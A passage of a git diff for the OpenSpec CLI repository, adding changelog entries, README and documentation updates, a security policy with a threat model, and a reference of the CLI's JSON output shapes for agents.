Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes + + - **Requirement reading fidelity** — The requirement reader used by `validate `, `validate `, and `archive` is now unified into one fence-, metadata-, and multi-line-aware extraction, closing the known divergences between the change-delta path and the main-spec path (the remaining ones are documented in the change's design doc): + + - A `SHALL`/`MUST` keyword that wraps onto a later body line is detected instead of dropped (#361). + - Metadata lines (`**ID**:`, `**Priority**:`) before the description are skipped on the spec path, matching the change path (#418). A requirement written entirely as metadata (e.g. `**Constraint**: The system MUST ...`) keeps that line as its text instead of being emptied. + - A fenced code block before the prose line no longer becomes the requirement text (#312). + - A `#### Scenario:` inside a fenced example no longer counts as a real scenario in `validate `, matching `validate `. + - `SHALL`/`MUST` detection uses one whole-word predicate across all readers, and a requirement with no body text falls back to its header title on both paths. + + Displayed requirement text (e.g. in JSON output and delta descriptions) now reflects the full requirement body rather than only its first line. Archived spec content is unchanged — the archive rebuild reads raw `### Requirement:` blocks, not the parsed text. + + - **Surface non-canonical delta headers** — `validate ` now emits an INFO note when an `## ADDED`/`## MODIFIED Requirements` section contains a level-3 header that is not a canonical `### Requirement:` header (one the delta reader silently skips, such as a stray `### Documentation Requirements` divider). The note never changes the `valid` result, including under `--strict` (#498). + +## 1.5.0 + +### Minor Changes + +- [#1267](https://github.com/Fission-AI/OpenSpec/pull/1267) [`96f6cac`](https://github.com/Fission-AI/OpenSpec/commit/96f6cacb206c65bee30066f6a1f4e9b855a0d783) Thanks [@TabishB](https://github.com/TabishB)! - ### New Features + + - **Stores (very early beta)** — Introduces stores as a simpler way to organize specs and changes, replacing the workspace and initiative model. This feature is in very early beta — expect rough edges and breaking changes in upcoming releases. + + ### Bug Fixes + + - **Config parsing** — Configuration values wrapped in JSON containers are now parsed correctly. + +### Patch Changes + +- [#1240](https://github.com/Fission-AI/OpenSpec/pull/1240) [`cbf386b`](https://github.com/Fission-AI/OpenSpec/commit/cbf386bd6888f103f8ff7d59b3eab98ce5b57998) Thanks [@zied-jlassi](https://github.com/zied-jlassi)! - fix(adapters): escape carriage returns in generated YAML frontmatter + + `escapeYamlValue` flagged `\r` as a character requiring quoting but never escaped it, leaving a literal carriage return inside the double-quoted scalar where YAML line folding/normalization could silently corrupt the value (realistic with CRLF-authored command descriptions). Carriage returns are now escaped as `\r`. The helper — previously duplicated verbatim across five adapters (bob, claude, cursor, pi, windsurf) — is extracted into a shared `command-generation/yaml.ts` module so the behavior stays consistent and is fixed in one place. + +## 1.4.1 + +### Patch Changes + +- [#1165](https://github.com/Fission-AI/OpenSpec/pull/1165) [`0a01146`](https://github.com/Fission-AI/OpenSpec/commit/0a01146c181a3af8dbf645547bcbe20c0d48d615) Thanks [@TabishB](https://github.com/TabishB)! - Move beta workspace view state to `.openspec-workspace/view.yaml`, stop top-level `openspec update` from routing into workspace updates, and ignore foreign root `workspace.yaml` files so Dagster projects keep updating normally. + +## 1.4.0 + +### Minor Changes + +- [#1003](https://github.com/Fission-AI/OpenSpec/pull/1003) [`342ed43`](https://github.com/Fission-AI/OpenSpec/commit/342ed43e694abba65a3ea275f94ba3b77df85da3) Thanks [@Miss-you](https://github.com/Miss-you)! - ### New Features + + - **Kimi CLI support** — OpenSpec can now initialize Kimi CLI as a supported skills-only tool using `.kimi/skills/` + + ### Other + + - Added Kimi-specific docs and init coverage aligned with skill-based `/skill:openspec-*` usage + +- [#1154](https://github.com/Fission-AI/OpenSpec/pull/1154) [`aa16080`](https://github.com/Fission-AI/OpenSpec/commit/aa16080d16b70f7b26cebd465334b2e16c0e7a43) Thanks [@TabishB](https://github.com/TabishB)! - ### New Features + + - **Mistral Vibe support** — OpenSpec can now initialize Mistral Vibe as a supported skills-only tool using `.vibe/skills/` + + ### Bug Fixes + + - **Case-insensitive requirement headers** — Requirement headers are now parsed regardless of capitalization, so specs no longer fail to parse over header casing + - **Zsh completions on oh-my-zsh** — Fixed shell completion setup so tab completion installs correctly under oh-my-zsh's `compinit` + + ### Other + + - **Clearer validation hints** — When a requirement has SHALL/MUST only in its header, `openspec validate` now points you to move the keyword onto the requirement body line instead of showing the generic error + +- [#1030](https://github.com/Fission-AI/OpenSpec/pull/1030) [`485c97e`](https://github.com/Fission-AI/OpenSpec/commit/485c97e97d766e35dd16c02370baee2044abc4f4) Thanks [@TabishB](https://github.com/TabishB)! - ### New Features + + - Include the sync workflow in the default core profile so new installs generate `/opsx:sync` skills and commands by default. + +### Patch Changes + +- [#1111](https://github.com/Fission-AI/OpenSpec/pull/1111) [`7fdb177`](https://github.com/Fission-AI/OpenSpec/commit/7fdb1771585b1688597d73dde5a8bc906084d0de) Thanks [@TabishB](https://github.com/TabishB)! - ### Fixed + + - Preserve workspace planning detection when Windows short paths or symlink aliases resolve to a canonical workspace root. + ## 1.3.1 ### Patch Changes diff --git a/MAINTAINERS.md b/MAINTAINERS.md index d27e1ef466..8a520215e2 100644 --- a/MAINTAINERS.md +++ b/MAINTAINERS.md @@ -7,6 +7,13 @@ People who maintain and guide OpenSpec. | Name | GitHub | Role | |------|--------|------| | Tabish Bidiwale | [@TabishB](https://github.com/TabishB) | Lead maintainer | +| Clay Good | [@clay-good](https://github.com/clay-good) | Maintainer | + +## Automation Maintainers + +| Name | GitHub | Role | +|------|--------|------| +| Alfred | [@alfred-openspec](https://github.com/alfred-openspec) | Automation maintainer | ## Advisors diff --git a/README.md b/README.md index 1d010ca8df..5470346a58 100644 --- a/README.md +++ b/README.md @@ -47,6 +47,14 @@ Our philosophy: ## See it in action ```text +You: /opsx:explore +AI: What would you like to explore? +You: I want dark mode but I'm not sure how to do it cleanly. +AI: Let me look at your styling setup... + Cleanest path here: CSS variables + a small theme context, + with system-preference detection. No new dependencies. Scope it? +You: Yes, let's do it. + You: /opsx:propose add-dark-mode AI: Created openspec/changes/add-dark-mode/ ✓ proposal.md — why we're doing this, what's changing @@ -68,6 +76,29 @@ AI: Archived to openspec/changes/archive/2025-01-23-add-dark-mode/ Specs updated. Ready for the next feature. ``` +
+What do the specs actually look like? + +Plain Markdown — requirements with concrete scenarios, no special syntax to learn. Here's what goes in the `specs/` folder created above: + +```markdown +## ADDED Requirements + +### Requirement: Theme selection +The app SHALL let users switch between light and dark themes, +defaulting to the system preference. + +#### Scenario: User toggles dark mode +- **WHEN** the user clicks the theme toggle +- **THEN** the app switches to dark mode and persists the choice +``` + +Your AI writes these; you review the plan before any code is written. + +OpenSpec is built with OpenSpec — browse this repo's live [specs](openspec/specs) and in-flight [changes](openspec/changes) for real examples at scale. + +
+
OpenSpec Dashboard @@ -77,6 +108,18 @@ AI: Archived to openspec/changes/archive/2025-01-23-add-dark-mode/
+## Why teams adopt OpenSpec + +Solo, OpenSpec keeps you and your AI honest on a single repo. On a team, the hard part moves: a feature spans the API server, the web app, and a shared library; requirements are owned by one team and consumed by others; planning starts before any code exists. + +**[Stores](docs/stores-beta/user-guide.md)** are the answer — planning in a repo of its own. The same `openspec/` shape you already know (specs and changes), shared by `git push` like anything else. One source of truth your whole team and every coding agent can read, across every repo. + +- **Cross-repo features** — one change, one plan, even when the code lands in three repos. +- **Shared requirements** — a platform team owns the specs; product teams reference them read-only, right where their coding agent can read them. No drifting wiki. +- **Plan before code** — capture the plan in the store now; the code repos catch up later. + +> Stores are in **beta**. Start with the [Stores User Guide](docs/stores-beta/user-guide.md). + ## Quick Start **Requires Node.js 20.19.0 or higher.** @@ -94,25 +137,49 @@ cd your-project openspec init ``` -Now tell your AI: `/opsx:propose ` +> **Want your AI to do it?** Paste the [setup prompt](docs/installation.md#install-with-your-ai-assistant) into your coding assistant — it installs the CLI, runs `openspec init`, and verifies the result. + +Now talk to your AI: + +- **Not sure what to build yet?** Start with `/opsx:explore`, a no-stakes thinking partner that reads your code, weighs options, and shapes a plan before anything is written. ([Explore guide](docs/explore.md)) +- **Already know what you want?** Go straight to `/opsx:propose `. -If you want the expanded workflow (`/opsx:new`, `/opsx:continue`, `/opsx:ff`, `/opsx:verify`, `/opsx:sync`, `/opsx:bulk-archive`, `/opsx:onboard`), select it with `openspec config profile` and apply with `openspec update`. +Both are in the default profile. If you want the expanded workflow (`/opsx:new`, `/opsx:continue`, `/opsx:ff`, `/opsx:verify`, `/opsx:bulk-archive`, `/opsx:onboard`), select it with `openspec config profile` and apply with `openspec update`. + +`/opsx:propose` is the canonical name; your tool may spell it `/opsx-propose` (Cursor, GitHub Copilot), `@opsx-propose` (Amazon Q) or `$openspec-propose` (Codex). `openspec init` prints the right form for the tools you picked — see [How To Invoke](docs/supported-tools.md#how-to-invoke). > [!NOTE] -> Not sure if your tool is supported? [View the full list](docs/supported-tools.md) – we support 25+ tools and growing. +> Not sure if your tool is supported? [View the full list](docs/supported-tools.md) – we support 30+ tools and growing. > > Also works with pnpm, yarn, bun, and nix. [See installation options](docs/installation.md). ## Docs +**Start here:** the **[Documentation Home](docs/README.md)** maps everything. New to OpenSpec? Read [Getting Started](docs/getting-started.md), then [How Commands Work](docs/how-commands-work.md) (where you actually type `/opsx:propose`). + → **[Getting Started](docs/getting-started.md)**: first steps
+→ **[Explore First](docs/explore.md)**: think it through with `/opsx:explore` before you commit
+→ **[How Commands Work](docs/how-commands-work.md)**: where slash commands run vs the CLI
+→ **[Core Concepts at a Glance](docs/overview.md)**: the whole mental model, one page
+→ **[Examples & Recipes](docs/examples.md)**: real changes, start to finish
→ **[Workflows](docs/workflows.md)**: combos and patterns
+→ **[Existing Projects](docs/existing-projects.md)**: adopt OpenSpec on a brownfield codebase
+→ **[Editing a Change](docs/editing-changes.md)**: update artifacts, go back, reconcile manual edits
→ **[Commands](docs/commands.md)**: slash commands & skills
→ **[CLI](docs/cli.md)**: terminal reference
+→ **[Stores](docs/stores-beta/user-guide.md)**: plan in a separate repo, shared across your team (beta)
→ **[Supported Tools](docs/supported-tools.md)**: tool integrations & install paths
→ **[Concepts](docs/concepts.md)**: how it all fits
→ **[Multi-Language](docs/multi-language.md)**: multi-language support
-→ **[Customization](docs/customization.md)**: make it yours +→ **[Customization](docs/customization.md)**: make it yours
+→ **[FAQ](docs/faq.md)** · **[Troubleshooting](docs/troubleshooting.md)** · **[Glossary](docs/glossary.md)**: quick help + + +## Community schemas + +Third-party schema bundles distributed via standalone repositories — these provide opinionated workflows that integrate OpenSpec with other tools, similar to how [github/spec-kit's community extension catalog](https://github.com/github/spec-kit/tree/main/extensions) handles tool integrations. + +→ **[Browse the catalog](docs/customization.md#community-schemas)** in the customization docs. ## Why OpenSpec? @@ -122,7 +189,7 @@ AI coding assistants are powerful but unpredictable when requirements live only - **Agree before you build** — human and AI align on specs before code gets written - **Stay organized** — each change gets its own folder with proposal, specs, design, and tasks - **Work fluidly** — update any artifact anytime, no rigid phase gates -- **Use your tools** — works with 20+ AI assistants via slash commands +- **Use your tools** — works with 30+ AI assistants via slash commands ### How we compare @@ -150,7 +217,7 @@ openspec update ## Usage Notes -**Model selection**: OpenSpec works best with high-reasoning models. We recommend Opus 4.5 and GPT 5.2 for both planning and implementation. +**Model selection**: OpenSpec works best with high-reasoning models. We recommend Codex 5.5 and Opus 4.7 for both planning and implementation. **Context hygiene**: OpenSpec benefits from a clean context window. Clear your context before starting implementation and maintain good context hygiene throughout your session. @@ -181,7 +248,9 @@ OpenSpec collects anonymous usage stats. We collect only command names and version to understand usage patterns. No arguments, paths, content, or PII. Automatically disabled in CI. -**Opt-out:** `export OPENSPEC_TELEMETRY=0` or `export DO_NOT_TRACK=1` +**Opt-out (any one is enough):** +- `openspec config set telemetry.enabled false` (global config; unset means on) +- `export OPENSPEC_TELEMETRY=0` or `export DO_NOT_TRACK=1` (env overrides config) diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000000..d7f1dfbf97 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,62 @@ +# Security Policy + +## Reporting a vulnerability + +Report privately through [GitHub Security Advisories](https://github.com/Fission-AI/OpenSpec/security/advisories/new). Please don't open a public issue for a suspected vulnerability. + +Include what you can: affected version, reproduction steps, and the impact you believe it has. We aim to acknowledge within 3 business days and to ship a fix or a decision within 30 days. Valid reports are credited in the advisory unless you'd rather stay anonymous. + +## Supported versions + +Fixes ship in the latest published version on npm. Older versions are not patched — upgrade to pick up a fix. + +## Threat model + +OpenSpec is a local command-line tool. It has no server, no network listener, and no privileged daemon. It reads and writes markdown under the directory you run it in, using paths you supply, with your own user permissions. It can offer to upgrade itself during `openspec update`, and only with your say-so. It sends anonymous usage telemetry, which you can disable with `OPENSPEC_TELEMETRY=0`. + +That shapes what is and isn't a vulnerability here: + +| In scope | Out of scope | +| --- | --- | +| Code execution triggered by parsing a spec, config, or template file | Reading or writing a file path you passed to the CLI yourself | +| Escaping the directory OpenSpec was pointed at, via untrusted input | Static-analysis findings on file-path joins with no untrusted input | +| Leaking credentials or file contents through telemetry or logs | Vulnerabilities in devDependencies that don't ship in the published package | +| Prototype pollution or injection reachable from a config or spec file | Denial of service against your own machine using your own input | + +If you think something sits on the boundary, report it and we'll work it out together. + +## Published package contents + +The `openspec` npm package publishes `dist/`, `bin/`, `schemas/`, and `scripts/postinstall.js`. Build and test tooling (vite, rollup, vitest, eslint, and their transitive dependencies) is not published. Scanners that read `pnpm-lock.yaml` without separating dependency scope will report advisories for packages that never reach an installed copy of OpenSpec. + +You do not have to take that on trust — install the package and look: + +```sh +npm install @fission-ai/openspec +ls node_modules | grep -E '^(vite|rollup|vitest|eslint|js-yaml|minimatch)$' # no matches +``` + +`pnpm audit --prod` in this repository reports the same scope, and CI runs it on every pull request. + +## What the CLI does on your machine + +| Surface | Behavior | +| --- | --- | +| Install script | `scripts/postinstall.js` prints one line suggesting shell completions. It makes no network request, writes no files, and runs no shell. Completions are opt-in via `openspec completion install`. | +| Running other programs | Every call that goes through a shell uses a fixed literal (`which gh`, `gh auth status`). Anything carrying your input — issue text, editor paths, workset commands, the path passed to `openspec update` — uses an argument array, never string interpolation into a shell. On Windows, `.cmd` shims are launched through `cross-spawn`, which escapes arguments rather than concatenating them. | +| Installing software | `openspec update` can run `npm install -g @fission-ai/openspec@latest` and then re-run `openspec update` with the upgraded CLI. It does this only after you answer yes to a prompt, only for the OpenSpec package itself, only when npm owns the install, and never in CI or a non-interactive shell. A global install lives outside your project, so it runs with your permissions there and executes whatever lifecycle scripts the published package ships. It then reads the installed binary's version back rather than assuming the upgrade took. Decline and it prints the command for you to run yourself. | +| Telemetry | Command name, OpenSpec version, and a locally generated random UUID. No file paths, no file contents, no environment, no hostname, and IP capture is explicitly disabled. Opt out with `OPENSPEC_TELEMETRY=0` or `DO_NOT_TRACK=1`; it is off in CI automatically. | +| Network | Telemetry when enabled, and one npm registry request during `openspec update` to check whether a newer CLI has been published. That request sends no data about you beyond what any HTTP request reveals, runs once per `openspec update` with nothing cached, and is skipped when `CI` is set to anything but an explicit off-value, under `NODE_ENV=test`, or when `OPENSPEC_NO_UPDATE_CHECK`, `DO_NOT_TRACK=1`, or `OPENSPEC_TELEMETRY=0` is set. Reading, writing, and validating specs is entirely local. | + +## Automated checks + +| Tool | Covers | +| --- | --- | +| [CodeQL](https://github.com/Fission-AI/OpenSpec/security/code-scanning) | Static analysis on every push and pull request to `main` | +| [Dependabot](https://github.com/Fission-AI/OpenSpec/security/dependabot) | Dependency advisories plus weekly update pull requests for the CLI, the docs site, and CI actions | +| Dependency review | Blocks a pull request that introduces a high-severity dependency | +| Secret scanning | Enabled on the repository, including push protection | +| `pnpm audit` | Published dependencies are audited on every pull request, on pushes to `main`, and weekly. Advisory on pull requests so an unrelated change is not blocked; failing elsewhere, so a new advisory surfaces even when no dependency changed. Build tooling is always advisory. | +| Pinned actions | Every GitHub Action runs from a commit SHA, so a moved tag cannot change what CI executes | + +Alerts are triaged against the threat model above, so a finding in build-only tooling is fixed on the normal update cadence rather than treated as an incident. diff --git a/bin/openspec.js b/bin/openspec.js index 3341bce517..1d6477c19b 100755 --- a/bin/openspec.js +++ b/bin/openspec.js @@ -1,3 +1,5 @@ #!/usr/bin/env node -import '../dist/cli/index.js'; \ No newline at end of file +import { runCli } from '../dist/cli/index.js'; + +runCli(); diff --git a/docs/README.md b/docs/README.md new file mode 100644 index 0000000000..a026250201 --- /dev/null +++ b/docs/README.md @@ -0,0 +1,114 @@ +# OpenSpec Documentation + +Welcome. This is the home for everything OpenSpec. + +OpenSpec helps you and your AI coding assistant **agree on what to build before any code is written.** You describe the change, the AI drafts a short spec and a task list, you both look at the same plan, and then the work happens. No more discovering halfway through that the AI built the wrong thing. + +If you read nothing else, read these two pages: + +1. [Getting Started](getting-started.md): install, initialize, and ship your first change. +2. [How Commands Work](how-commands-work.md): where you actually type `/opsx:propose` (hint: in your AI chat, not the terminal). This trips up almost everyone once. + +That second one matters more than it looks. OpenSpec has two halves: a command line tool you run in your terminal, and slash commands you give to your AI assistant. Knowing which is which saves you the most common moment of confusion. + +> **The best habit to build first: when you're not sure what to build, start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your code, weighs options, and sharpens a fuzzy idea into a concrete plan before any artifact or code exists. The [Explore First](explore.md) guide makes the case. + +## Pick your path + +**I'm brand new.** Start with [Getting Started](getting-started.md), then skim the [Core Concepts at a Glance](overview.md). When something feels mysterious, the [FAQ](faq.md) and [Glossary](glossary.md) are nearby. + +**I have a problem but not a plan.** This is the common case, and it has a dedicated answer: [Explore First](explore.md). Use `/opsx:explore` to think it through with the AI before committing to anything. + +**I have a big existing codebase.** You don't document all of it. [Using OpenSpec in an Existing Project](existing-projects.md) shows how to start on real, brownfield code without boiling the ocean. + +**I just want to get it working.** [Install](installation.md), run `openspec init`, then read [How Commands Work](how-commands-work.md) so your first slash command lands in the right place. Or hand the setup to your assistant with the [AI-assisted install prompt](installation.md#install-with-your-ai-assistant). + +**I learn by example.** The [Examples & Recipes](examples.md) page walks through real changes start to finish: a small feature, a bug fix, a refactor, an exploration. + +**The AI just drafted a plan — now what?** Read it. [Reviewing a Change](reviewing-changes.md) shows the two-minute pass that catches a wrong turn while it's still cheap, and [Writing Good Specs](writing-specs.md) covers what a plan worth approving is made of. + +**I work on a team.** [OpenSpec on a Team](team-workflow.md) shows how a change maps onto a branch and a pull request, and how teammates review a plan before the code. + +**I'm coming from the old workflow.** The [Migration Guide](migration-guide.md) explains what changed and why, and promises your existing work is safe. + +**I want to bend it to my team's process.** [Customization](customization.md) covers project config, custom schemas, and shared context. + +**Something's broken.** [Troubleshooting](troubleshooting.md) collects the failures people actually hit, with fixes. + +## The whole map + +### Start here + +| Doc | What it gives you | +|-----|-------------------| +| [Getting Started](getting-started.md) | Install, initialize, and run your first change end to end | +| [Explore First](explore.md) | Use `/opsx:explore` to think through an idea before you commit | +| [How Commands Work](how-commands-work.md) | Where slash commands run, what "interactive mode" means, terminal vs chat | +| [Core Concepts at a Glance](overview.md) | The whole mental model on one page: specs, changes, deltas, archive | +| [Installation](installation.md) | npm, pnpm, yarn, bun, Nix, a prompt that hands setup to your AI assistant, and how to verify it worked | + +### Use it day to day + +| Doc | What it gives you | +|-----|-------------------| +| [Workflows](workflows.md) | Common patterns and when to reach for each command | +| [Examples & Recipes](examples.md) | Full walkthroughs of real changes, copy-pasteable | +| [Writing Good Specs](writing-specs.md) | What a strong requirement and scenario look like, and how to right-size a change | +| [Reviewing a Change](reviewing-changes.md) | The two-minute pass on a drafted plan before any code is written | +| [OpenSpec on a Team](team-workflow.md) | How changes fit branches, pull requests, and review | +| [Using OpenSpec in an Existing Project](existing-projects.md) | Adopting OpenSpec on a large brownfield codebase | +| [Editing & Iterating on a Change](editing-changes.md) | Update artifacts, go back, reconcile manual edits | +| [Commands](commands.md) | Reference for every `/opsx:*` slash command | +| [CLI](cli.md) | Reference for every `openspec` terminal command | + +### Understand it deeply + +| Doc | What it gives you | +|-----|-------------------| +| [Concepts](concepts.md) | The long-form explanation of specs, changes, artifacts, schemas, and archive | +| [OPSX Workflow](opsx.md) | Why the workflow is fluid instead of phase-locked, plus an architecture deep dive | +| [Glossary](glossary.md) | Every term defined in one place | + +### Make it yours + +| Doc | What it gives you | +|-----|-------------------| +| [Customization](customization.md) | Project config, custom schemas, shared context | +| [Multi-Language](multi-language.md) | Generate artifacts in languages other than English | +| [Supported Tools](supported-tools.md) | The 30+ AI tools OpenSpec integrates with, and where files land | + +### When you need help + +| Doc | What it gives you | +|-----|-------------------| +| [FAQ](faq.md) | Quick answers to the questions people ask most | +| [Troubleshooting](troubleshooting.md) | Concrete fixes for concrete failures | +| [Migration Guide](migration-guide.md) | Moving from the legacy workflow to OPSX | + +### Coordinate across repos (beta) + +| Doc | What it gives you | +|-----|-------------------| +| [Stores: User Guide](stores-beta/user-guide.md) | Plan in its own repo when your work spans repos or teams | +| [Agent Contract](agent-contract.md) | The machine-readable CLI surfaces agents drive | + +## The thirty-second version + +```text +1. Install npm install -g @fission-ai/openspec@latest +2. Initialize cd your-project && openspec init +3. Explore (in your AI chat) /opsx:explore ← optional, but a great habit +4. Propose (in your AI chat) /opsx:propose add-dark-mode +5. Build (in your AI chat) /opsx:apply +6. Archive (in your AI chat) /opsx:archive +``` + +Steps 1 and 2 happen in your terminal. The rest happen in your AI assistant's chat. That split is the one thing worth memorizing, and [How Commands Work](how-commands-work.md) explains exactly why. Step 3 is optional, but starting with `/opsx:explore` when you're unsure is the habit most worth forming. + +## Where else to get help + +- **Discord:** [discord.gg/YctCnvvshC](https://discord.gg/YctCnvvshC) for questions, ideas, and help. +- **GitHub Issues:** [github.com/Fission-AI/OpenSpec/issues](https://github.com/Fission-AI/OpenSpec/issues) for bugs and feature requests. +- **`openspec feedback "your message"`** sends feedback straight from your terminal (it opens a GitHub issue). + +Found something in these docs that's wrong, stale, or confusing? That's a bug. Open an issue or a PR. Documentation improvements are some of the most valuable contributions you can make. diff --git a/docs/agent-contract.md b/docs/agent-contract.md new file mode 100644 index 0000000000..63e469e48f --- /dev/null +++ b/docs/agent-contract.md @@ -0,0 +1,141 @@ +# OpenSpec Agent Contract + +Machine-readable surfaces of the `openspec` CLI, verified against `src/` (capstone audit, 2026-06-11). Every shape below is documented from the emitting code. + +## 1. General conventions + +- **One JSON document per invocation.** In `--json` mode, stdout carries exactly one JSON document (2-space pretty-printed). Human prose, spinners, and the store banner go to stderr. +- **Store banner.** In human mode, a store-selected root prints `Using OpenSpec root: ()` to stderr. Never printed in JSON mode. +- **Key casing is surface-dependent** (see Known inconsistencies): store/doctor/context payloads use `snake_case`; workflow payloads (`status`, `instructions`, `new change`, `validate`, `list`) use `camelCase`, except the embedded `root` object, which always uses `store_id`. +- **Optional keys are omitted, not null**, in most payloads (e.g. `root.store_id`, `member.path`). Exceptions that use explicit `null` are called out per shape (store doctor `git.*`, failure payloads). + +## 2. The diagnostic envelope + +One envelope shape is shared by every machine-readable diagnostic (`StoreDiagnostic`): + +```json +{ + "severity": "error" | "warning" | "info", + "code": "snake_case_string", + "message": "human sentence", + "target": "dotted.surface (optional)", + "fix": "one actionable sentence/command (optional)" +} +``` + +Diagnostics appear in two positions: **status arrays** (`status: StoreDiagnostic[]` at top level or per entry) for health findings, and **thrown errors** converted to a single-element `status` array on command failure. + +## 3. Root selection and `RootOutput` + +All root-resolving commands (`list`, `show`, `validate`, `status`, `instructions`, `instructions apply`, `instructions archive`, `new change`, `archive`, `doctor`, `context`) resolve one OpenSpec root with one precedence: + +1. `--store ` → the registered store's root (`source: "store"`). +2. Otherwise, nearest ancestor with `openspec/`: planning shape → `source: "nearest"` (a `store:` pointer is ignored with a stderr warning); config-only dir with a valid `store:` pointer → that store, `source: "declared"`. +3. No nearest root + global `defaultStore` set (`openspec config set defaultStore `) → that store, `source: "global_default"`; a stale id fails with the underlying store error and a `fix` naming `openspec config unset defaultStore`. +4. No nearest root, no default + registered stores exist → error `no_root_with_registered_stores`. +5. No root, no default, no stores: scaffolding commands treat the cwd as `source: "implicit"`; diagnostic commands (`doctor`, `context`) fail with `no_openspec_root` instead — they inspect, never scaffold. + +Successful JSON payloads embed the root: + +```json +"root": { "path": "/abs/path", "source": "store" | "declared" | "global_default" | "nearest" | "implicit", "store_id": "id (only when store-selected)" } +``` + +**Root-failure contract**: in JSON mode a resolution failure prints `{ ...commandNullShape, "status": [diagnostic] }` on stdout and exits 1. + +## 4. Command JSON shapes + +### 4.1 `list --json` +`{ "changes": [ { "name", "completedTasks", "totalTasks", "lastModified", "status": "no-tasks"|"complete"|"in-progress" } ], "root": RootOutput }` — note the per-change `status` is a string enum here. `--specs`: `{ "specs": [ { "id", "requirementCount" } ], "root" }`. + +### 4.2 `show --json` +Change: `{ "id", "title", "deltaCount", "deltas": [...], "root" }`. Spec: `{ "id", "title", "overview", "requirementCount", "requirements": [...], "metadata": { "version", "format", "sourcePath"? }, "root" }`. + +### 4.3 `validate --json` +`{ "items": [ { "id", "type": "change"|"spec", "valid", "issues": [ { "level", "path", "message", "line"?, "column"? } ], "durationMs" } ], "summary": { "totals": {items,passed,failed}, "byType": {...} }, "version": "1.0", "root" }`. Exit 1 when any item fails. + +### 4.4 `status --json` +`{ "changeName", "schemaName", "planningHome"?: { "kind", "root", "changesDir", "defaultSchema" }, "changeRoot", "artifactPaths": { "": {outputPath, resolvedOutputPath, existingOutputPaths} }, "nextSteps": ["..."], "actionContext": { "mode": "repo-local", "sourceOfTruth": "repo", "planningArtifacts", "linkedContext", "allowedEditRoots", "requiresAffectedAreaSelection", "constraints" }, "isPlanningComplete", "isComplete", "applyRequires", "artifacts": [ {id, outputPath, status: "done"|"skipped"|"ready"|"blocked", requires, missingDeps?} ], "root" }`. `isPlanningComplete` means every non-skipped planning artifact exists; skipped artifacts count as satisfied without being created. It does not mean implementation tasks are complete. `isComplete` is retained as a compatibility alias with the same value. Each artifact's `requires` is its direct dependency ids (present for every status, so the transitive required set is computable even when the artifact is `done`); `missingDeps` appears only when `blocked`. The `artifacts` array is in dependency order, with the schema's `artifacts:` declaration order breaking ties between artifacts that become ready at the same time (never alphabetical), so the first `ready` entry is the artifact to write next; `missingDeps` uses that same order. `"skipped"` marks an artifact whose `generates` path is under `specs/` in a change whose `.openspec.yaml` declares `skip_specs: true`; it satisfies dependencies but must not be created. No active changes: `{ "changes": [], "message", "root" }`, exit 0. + +### 4.5 `instructions --json` +`{ "changeName", "artifactId", "schemaName", "changeDir", "planningHome"?, "outputPath", "resolvedOutputPath", "existingOutputPaths", "description", "instruction"?, "context"?, "rules"?, "references"?: ReferenceIndexEntry[], "skipped"?, "warning"?, "template", "dependencies": [{id,done,path,description,skipped?}], "unlocks", "root" }`. `unlocks` lists the artifacts this one makes ready, in the schema's declaration order (the same order `status` recommends them). `"skipped": true` (with `"warning"`) appears when the change declares `skip_specs: true` and this artifact is skipped — do not create its files. A dependency entry with `skipped: true` is satisfied without files — do not try to read its paths. + +`ReferenceIndexEntry`: `{ "store_id", "root"?, "specs"?: [{id,summary}], "fetch"?, "status": [] }` — resolved entries carry root/specs/fetch; unresolved carry store_id + warning status. Index capped at 50KB (`reference_index_truncated`). + +### 4.6 `instructions apply --json` +`{ "changeName", "changeDir", "schemaName", "contextFiles": { "": ["/abs", ...] }, "progress": {total,complete,remaining}, "tasks": [{id,description,done}], "state": "blocked"|"all_done"|"ready", "missingArtifacts"?, "instruction", "references"?, "context"?, "operationGuidance"?, "root" }`. Both optional fields are read from the selected root on every invocation. `context` is a required prompt-level input whose relevant project facts, conventions, and constraints must be applied; `operationGuidance` is advisory input whose entries are followed only when applicable and compatible with the built-in workflow. Both remain separate from state, tasks, progress, context files, and the built-in instruction. + +### 4.7 `instructions archive --json` +`{ "changeName", "context"?, "operationGuidance"?, "root" }`. Requires a valid `--change` in the resolved repo/store root and uses the same required-context/advisory-guidance semantics as apply. This is a read-only runtime-input surface: it does not return the static archive workflow, inspect or merge delta specs, write main specs, or move the change. + +### 4.8 `new change --json` +Success: `{ "change": { "id", "path", "metadataPath", "schema" }, "root" }`. Failure: `{ "change": null, "status": [d] }`, exit 1. + +### 4.9 `archive --json` +Success: `{ "archive": { "change", "archivedAs": "YYYY-MM-DD-name", "path", "specsUpdated", "totals"?, "warnings"? }, "root" }`. Failure: `{ "archive": null, "root"?, "status": [d] }`, exit 1. `specsUpdated` is true only when at least one spec file was written or retired (a capability whose last requirement the change removed has its spec deleted, which requires `retire_capabilities: true` in the change's `.openspec.yaml`; every retirement is named in `warnings`, with a pasteable Git recovery command only when the spec lived in the caller's checkout); an already-synced change archives with all-zero totals and the skips listed in `warnings`. JSON mode is strictly non-interactive: every prompt point becomes an `archive_*` code. + +### 4.10 `doctor --json` +`{ "root": { "path", "source", "store_id"?, "healthy", "status": [] }, "store": { "id", "metadata": {present,valid,remote?}, "origin_url"?, "drift"?: {ahead,behind}, "status": [] } | null, "references": [...], "status": [] }`. `drift` (present only for a git-backed store checkout that has an upstream tracking ref) is ahead/behind counts against the last-fetched upstream, not the live remote. Health findings of any severity exit 0. Failure payload: `{ "root": null, "store": null, "references": [], "status": [d] }`, exit 1. + +### 4.11 `context --json` +`{ "root": { "path", "source", "store_id"?, "role": "openspec_root" }, "members": [ { "role": "referenced_store", "id", "path"?, "remote"?, "fetch"?, "status": [] } ], "status": [] }`. AVAILABLE = path present AND status empty. `--code-workspace ` writes `{folders:[{name,path}]}` (available referenced stores only, `ref:` prefixes); in JSON mode the write runs before printing so stdout holds exactly one document even on write failure. Failure: `{ "root": null, "members": [], "status": [d] }`, exit 1. + +### 4.12 `store ... --json` +setup/register: `{ "store": {id, root, metadata_path?}, "registry": {path, registered, already_registered}, "git": {is_repository, initialized, committed}, "created_files": [], "status": [] }`. unregister/remove: `{ "store", "registry": {path, removed}, "files": {deleted, deleted_path, left_on_disk}, "status": [] }`. list: `{ "stores": [{id, root}], "status": [] }`. doctor: `{ "stores": [ { id, root, metadata_path?, openspec_root: {...healthy, status}, metadata: {present, 